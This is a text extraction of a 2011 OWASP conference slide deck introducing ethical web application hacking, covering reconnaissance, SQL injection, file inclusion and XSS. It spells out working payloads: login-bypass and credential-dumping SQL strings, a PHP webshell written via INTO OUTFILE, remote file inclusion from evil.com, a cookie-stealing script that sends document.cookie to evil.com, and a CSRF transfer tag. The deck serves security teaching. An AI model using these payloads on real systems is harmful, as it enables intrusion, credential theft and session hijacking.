82
Introduction t o Ethical Web Application Hacking Syed Zainudeen 20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 1 OWASP DAY KL 2011, 20 September 2011

syed-owaspdaykl2011_2

Embed Size (px)

Citation preview

Page 1: syed-owaspdaykl2011_2

Introduction to Ethical Web Application Hacking

Syed Zainudeen

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 1

OWASP DAY KL 2011, 20 September 2011

Page 2: syed-owaspdaykl2011_2

Overview

• Information Gathering

• SQL Injection

• File Inclusion

• XSS (Cross Site Scripting)

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 2

Page 3: syed-owaspdaykl2011_2

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 3

Information Gathering

Page 4: syed-owaspdaykl2011_2

“Finding an apple in a basket will be like finding a needle in a haystack if you don’t

know what an apple is !”

- Syed Zainudeen -

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 4

Page 5: syed-owaspdaykl2011_2

Why we need to know the target?

• Speed up the process of finding vulnerabilities

• Increase the chance of a successful exploitation

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 5

Page 6: syed-owaspdaykl2011_2

What do we want to know?

• Address of our target

• OS type

• Running services

• What type of service software

• Any info on the target

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 6

Page 7: syed-owaspdaykl2011_2

Tools to check IP address

• ping (?)

• nslookup

• host

• dig

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 7

mrzamri
Sticky Note
host and dig exixts on linux
Page 8: syed-owaspdaykl2011_2

Tools for OS fingerprinting

• nmap

– Usage: nmap -O <host>

nmap -O www.website.com

• xprobe2

– Usage: xprobe2 <host>

xprobe2 www.website.com

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 8

mrzamri
Sticky Note
the output in form of propability
Page 9: syed-owaspdaykl2011_2

Why we need to know the OS?

• Lets say that we found a vulnerability in a system that allows us to execute commands on the remote OS

• We send the command:

net user hacker 123456 /add

• However, we scratch our head wondering why the command didn’t work

• It WONT work if the target is a linux machine

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 9

Page 10: syed-owaspdaykl2011_2

nmap in action

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 10

Page 11: syed-owaspdaykl2011_2

Tools to scan for services

• nmap

– nmap -sT <host> • TCP Connect scan

nmap -sT www.website.com • SYN scan

nmap -sS www.website.com • UDP scan

nmap -sU www.website.com

• amap (discovering services on nonstandard ports)

– amap <host> <port>

amap www.website.com 49152

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 11

mrzamri
Sticky Note
port 3389 - remote desktop
Page 12: syed-owaspdaykl2011_2

Service software detection tool

• Automated: – nmap –sV <host>

nmap –sV www.website.com

• Manual: – nc / telnet/putty (text based services)

• Usage: nc <host> <port>

– openssl (text based services + SSL) • Usage: openssl s_client –connect <host>:<port>

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 12

Page 13: syed-owaspdaykl2011_2

HTTP banner grabbing

• Example:

– Using netcat: nc www.google.com 80

– Using telnet: telnet www.website.com 80

HEAD / HTTP/1.0 Host: www.google.com

HEAD / HTTP/1.0 Host: www.website.com

= Enter

Page 14: syed-owaspdaykl2011_2

HTTP banner grabbing demo

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 14

Page 15: syed-owaspdaykl2011_2

Additional ways to get information

• Google

• Spidering

• Error messages

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 15

Page 16: syed-owaspdaykl2011_2

SQL Injection

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 16

Page 17: syed-owaspdaykl2011_2

“SQL injection is like asking for extra plate/tissue/etc when all the waiter is

expecting is your order”

- Syed Zainudeen -

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 17

Page 18: syed-owaspdaykl2011_2

What is SQL injection ?

• SQL injection - inserting specially crafted SQL instructions for arbitrary SQL code execution

• Example: Inserting ' OR 1=1 # to bypass login page

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 18

mrzamri
Sticky Note
192.168.56.101
Page 19: syed-owaspdaykl2011_2

Login bypass

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 19

Page 20: syed-owaspdaykl2011_2

Logged in as admin !

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 20

Page 21: syed-owaspdaykl2011_2

How did it works ?

• Behind the scene, there is an SQL instruction being executed

SELECT * FROM accounts WHERE username=' $user ' AND

password=' $pass '

• $user and $pass and are taken from the input box.

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 21

Page 22: syed-owaspdaykl2011_2

How did it works ? (injection)

SELECT * FROM accounts WHERE username='$user' AND

password='$pass'

• If $user equals ' OR 1=1 # and $pass is null then

the SQL instruction will be

SELECT * FROM accounts WHERE username=' ' OR 1=1 #' AND

password=''

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 22

Page 23: syed-owaspdaykl2011_2

How did it works ? (comment)

• # is a special character in MySQL which means line comment (similar to // for C) and anything that follows after it will be ignored

• The SQL without the comment is

SELECT * FROM accounts WHERE username='' OR 1=1 #' AND

password=''

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 23

Page 24: syed-owaspdaykl2011_2

How did it works ? (comparison)

SELECT * FROM accounts WHERE username='' OR 1=1

• 1=1 is a comparison that will result to a boolean value of TRUE (since 1 will always be equal to 1)

• The OR operator means that either of the condition must be true

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 24

Page 25: syed-owaspdaykl2011_2

How did it works ? (Boolean logic)

• Therefore:

SELECT * FROM accounts WHERE username='' OR 1=1

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 25

Boolean: ? OR TRUE Truth table for OR

Condition Result

FALSE or FALSE FALSE

FALSE or TRUE TRUE

TRUE or TRUE TRUE

TRUE or FALSE TRUE

Means: ? OR TRUE equals TRUE

Page 26: syed-owaspdaykl2011_2

How did it works ? (eureka!)

• Therefore the statement will always be true and this will be executed

SELECT * FROM accounts WHERE username='' OR 1=1

• All the rows will be returned but since the first row is the username admin, we logs in as admin

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 26

Page 27: syed-owaspdaykl2011_2

Exploits of a Mom

xkcd.com/327

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 27

Page 28: syed-owaspdaykl2011_2

Spotting a vulnerable application

• The easiest way to find an SQL injection vuln is by inserting a single quote ( ' )

• An error message will be displayed (if the server is configured to display error)

• Other possible responses might be:

– a blank page

– a web page with some of the elements missing

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 28

Page 29: syed-owaspdaykl2011_2

The single quote test

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 29

Page 30: syed-owaspdaykl2011_2

Exploting SQL injection vuln

• 3 rules of a successful exploitation

– Rule 1: The is no master SQL injection string !

– Rule 2: Think as a developer !

– Rule 3: Try, try and try !

• BTW, the rules won't help if you are facing a secure web application

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 30

Page 31: syed-owaspdaykl2011_2

Exploitation: Bypassing login page

• Common login bypass strings:

' OR 1=1 #

' OR 1=1 -- '

' OR ''='

' OR 1=1 OR '

' OR 1=1 LIMIT 1#

….

… use your imagination (and logic)

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 31

Page 32: syed-owaspdaykl2011_2

Exploitation example: Login bypass

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 32

Page 33: syed-owaspdaykl2011_2

What can be done with SQLi ?

• Bypass login page (done !)

• Displaying private data

• Install a webshell

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 33

Page 34: syed-owaspdaykl2011_2

Displaying private data

• DONE using UNION <SQL query> #comment

' union select group_concat(<columns>),2,3 from <table name> #

Examples:

' union select group_concat(user,password),2,3 from users#

' union select group_concat(user,':',password),2,3 from

users#

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 34

Page 35: syed-owaspdaykl2011_2

Pwned !

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 35

Page 36: syed-owaspdaykl2011_2

Installing a webshell

• This is done using SELECT … INTO OUTFILE ….

• If we were attacking a xampp installation:

' union select '<?php system($_GET[c]); ?>',2,3 into outfile 'c:/xampp/htdocs/test.php' #

Note: • system() is a special PHP function to execute system

commands • File permission is required in order to use INTO OUTFILE

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 36

Page 37: syed-owaspdaykl2011_2

Pwned !!!

• We access the shell through:

http://<host>/test.php?c=<OS command>

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 37

Page 38: syed-owaspdaykl2011_2

File Inclusion Attack

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 38

Page 39: syed-owaspdaykl2011_2

“File injection is akin to how bacteriophage injects bacteria with its genetic material”

- Syed Zainudeen -

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 39

Page 40: syed-owaspdaykl2011_2

File inclusion in web applications

• Sometimes web application developers code their application using separate modules in multiple files

• When needed, these modules can simply be included into their web app

• In PHP this is done by using include(), include_once(), require() or require_once()

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 40

Page 41: syed-owaspdaykl2011_2

Sample URL pattern

• Sample URL patterns that might use include():

http://website.com/?page=login.php

http://website.com/?page=register.php

http://website.com/?page=main.php

• The site most probably be coded like this

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 41

<?php

$page = $_GET['page'];

include($page);

?>

Page 42: syed-owaspdaykl2011_2

include()

• Include() and other similar function has the ability to include any file to be as part as the script that is currently executing

• Depending on the server configuration, include() can access not just local file path, but also web URLs

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 42

Page 43: syed-owaspdaykl2011_2

Sample attack

• What if an attacker prepares a webshell script <?php system($_GET[c]); ?> and host it at http://evil.com/script.txt

• All the attacker needs to do now is to invoke the web application with this URL:

http://website.com/?page=http://evil.com/script.txt&c=ls

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 43

Page 44: syed-owaspdaykl2011_2

Spotting a vulnerable app

• All we have to do is prepend the suspected variables (GET/POST/injected variables) with ../

• Example: http://abc.com/?page=../register.php

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 44

Page 45: syed-owaspdaykl2011_2

Possible target of File Inclusion attack

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 45

Page 46: syed-owaspdaykl2011_2

Dot dot slash test in action

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 46

Page 47: syed-owaspdaykl2011_2

Types of File Inclusion Attack

• There are 2 types of File Inclusion attack

–Remote File Inclusion (RFI) • Easy to exploit (Very very dangerous !!!)

– Local File Inclusion (LFI) • Harder to inject code

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 47

Page 48: syed-owaspdaykl2011_2

RFI exploitation

1. Find a vulnerable URL (e.g. http://192.168.0.1/web/index.php?page=login.php)

2. Host our script on a web server (e.g. http://evil.com/shell.txt)

3. Exploit it (run our script) by requesting http://192.168.0.1/web/index.php?page=http://evil.com/shell.txt

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 48

Page 49: syed-owaspdaykl2011_2

RFI exploitation (cont.)

• Content of shell.txt

• In order to execute dir command, we can request for the following URL

http://192.168.0.1/web/index.php?page=http://evil.com/shell.txt&c=dir

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 49

<?php system($_GET[c]); ?>

Page 50: syed-owaspdaykl2011_2

PWNED !!!

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 50

Page 51: syed-owaspdaykl2011_2

The LFI dilemma

• If a RFI attacks failed, we can opt for LFI

• But one big question remains,

HOW DO WE GET OUR MALICIOUS SCRIPT TO THE SERVER IN THE FIRST

PLACE ?

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 51

Page 52: syed-owaspdaykl2011_2

Getting your script to the server

• There are several ways to get your script to the server

– File/Image upload

– /proc/self/environ method

– Log file poisoning

• Once the script is accessible locally by the server, exploitation can proceed.

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 52

Page 53: syed-owaspdaykl2011_2

Cross Site Scripting (XSS)

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 53

Page 54: syed-owaspdaykl2011_2

“XSS, malicious content by user, for user”

- Syed Zainudeen -

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 54

Page 55: syed-owaspdaykl2011_2

What is XSS ?

• XSS is a vulnerability that allows an attacker to inject client-side code on a webpage

• The client-side code can be of any client-side scripting language; Javascript, CSS, HTML, etc

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 55

Page 56: syed-owaspdaykl2011_2

How can it happen ?

• An attacker inserts specially crafted input string that allow the browser to interpret it as valid code

• Example:

What's your name:

Ali<script>alert('XSS')</script>

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 56

Page 57: syed-owaspdaykl2011_2

XSS in action

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 57

Page 58: syed-owaspdaykl2011_2

Types of XSS

• There are 2 types of XSS

–Reflected XSS (non-persistent)

– Stored XSS (persistent)

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 58

Page 59: syed-owaspdaykl2011_2

Reflected vs Stored

• In a reflected XSS, the injected string is used only once and discarded (not stored)

– E.g. search function

• In a stored XSS, the injected string is first stored in a DB and later loaded for display

– E.g. forum, guestbook, log

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 59

Page 60: syed-owaspdaykl2011_2

Reflected XSS

• The vulnerable page will only display user injected script if he/she follows a certain link/URL

• The malicious script is visible in the URL (might be in encoded form). For example: http://abc.com/search?q=ball<script>alert(/XSS/)</script>

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 60

Page 61: syed-owaspdaykl2011_2

Reflected XSS in action

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 61

Page 62: syed-owaspdaykl2011_2

Stored XSS

• The vulnerable page will display user injected script just by visiting to a vulnerable site (that has been injected)

• The malicious script in not visible in the URL (since it is usually loaded from DB)

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 62

Page 63: syed-owaspdaykl2011_2

Stored XSS in action

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 63

Page 64: syed-owaspdaykl2011_2

What can we do with XSS?

• There's a lot that can be done with XSS vuln

– Webpage defacement (?)

– Cross Site Request Forgery (CSRF)

– Cookie stealing

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 64

Page 65: syed-owaspdaykl2011_2

Webpage defacement

• This is effective against stored XSS

• Creates an illusion of being hacked ! (Not a real hack)

• The way to deface is up to the creativity of the attacker. Some examples: – <script>document.body.innerHTML="Hacked!"</script>

– <iframe src="http://www.google.com" style="position:absolute; top:0; left:0; width:100% ;height:100%"></iframe>

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 65

Page 66: syed-owaspdaykl2011_2

XSS web defacement (script)

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 66

Page 67: syed-owaspdaykl2011_2

XSS web defacement (iframe)

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 67

Page 68: syed-owaspdaykl2011_2

Cross Site Request Forgery (CSRF)

• CSRF is a type of attack that enables an attacker to do things on behalf of the victim by using the trust that a webpage has on the victim

• How: The attacker send instructions to a victim, to be executed (by the victim) using session information of the victim.

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 68

Page 69: syed-owaspdaykl2011_2

CSRF explained

• Let say that a user is logged in to a bank (Low Security Bank, lsbank.com)

• A user then browse to other sites that contains the following (XSS injected) code:

<img

src="http://lsbank.com/transfer?amount=1000&to=hacker_acc

&submit=true" />

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 69

Page 70: syed-owaspdaykl2011_2

CSRF explained (cont.)

• The img tag will cause a GET request to the bank (lsbank.com)

• Since the user is currently logged in to the bank, he/she will unknowingly transfer $1000 to hacker_acc

• XSS + unsecured site = dangerous combination

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 70

Page 71: syed-owaspdaykl2011_2

Cookie stealing

• In CSRF, an attacker issues a command that gets executed using session information (cookie) of a victim

• The cookie is not captured in CSRF. The attacker doesn't know the victim's cookie.

• But using XSS, we can steal user cookie…

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 71

Page 72: syed-owaspdaykl2011_2

Why cookie is important ?

• When we log in to a website, the only way that the site knows who we are is based on the cookie information that our browser send.

• If an attacker is able to steal cookie data from a victim, the attacker can basically do anything as the victim

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 72

Page 73: syed-owaspdaykl2011_2

Limitation of XSS cookie stealing

• XSS can be used to steal cookie but is has a limitation.

• XSS can only be used to steal user cookie of the site that is vulnerable to XSS

• Let say that facebook.com has an XSS vuln, an attacker can steal user cookie for facebook.com and use it to log in as the victim.

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 73

Page 74: syed-owaspdaykl2011_2

How to read cookie value?

• Javascript can be used to read user cookie

• We can view cookie data by using:

alert(document.cookie);

• document.cookie is a javascript variable that can view all non HTTP-Only cookie

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 74

Page 75: syed-owaspdaykl2011_2

Displaying user cookie

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 75

Page 76: syed-owaspdaykl2011_2

XSS cookie stealing

• An attacker can steal user cookie by using:

<script> document.write('<img src="http://evil.com/?dat=' +

escape(document.cookie) + ' " /> '); </script>

• This script will cause the user cookie to be sent to evil.com

• The attacker can log the cookies using any server side scripting language at evil.com

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 76

Page 77: syed-owaspdaykl2011_2

Modifying browser cookie

• The stolen cookies can then be retrieved and injected to the attacker's web browser

• There are many ways to modify a browser's cookie – Manually

• javascript injection at the address bar

– Using automated tools • Firecookie browser extension

• TamperData

• Paros proxy

• etc

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 77

Page 78: syed-owaspdaykl2011_2

Browsing with stolen cookie

• Once the victim's cookie have been planted, all that needs to be done is simply point the browser to the target site

• The attacker's browser will present the stolen cookie to the web server and possibly, the web server will identify the request as coming from the victim

• The attacker just hijacked the victim's session using XSS !

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 78

Page 79: syed-owaspdaykl2011_2

How session hijacking works

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 79

Web server Web Admin

SESSIONID=i45h0t3w4h

Normal User

Each user has unique session ID stored in their browser's cookie. The web server uses the session ID to differentiate between normal user and web admin

Page 80: syed-owaspdaykl2011_2

How session hijacking works (cont.)

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 80

Web server Web Admin

SESSIONID=i45h0t3w4h

Due to an XSS vulnerability in Web Server, an attacker has injected some javascript code that steals visitor's session ID .

Evil.com

SESSIONID=i45h0t3w4h

Attacker

Page 81: syed-owaspdaykl2011_2

How session hijacking works (cont.)

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 81

Web server Web Admin

SESSIONID=i45h0t3w4h

The attacker then uses the stolen session ID to communicate with the web server. The attacker will be treated as the Web Admin and can do whatever the Web Admin can, since he/she has the session ID of the Web Admin.

Attacker

Page 82: syed-owaspdaykl2011_2

Thank you !

20 Sept 2011 Copyright (C) 2011, Syed Zainudeen. 82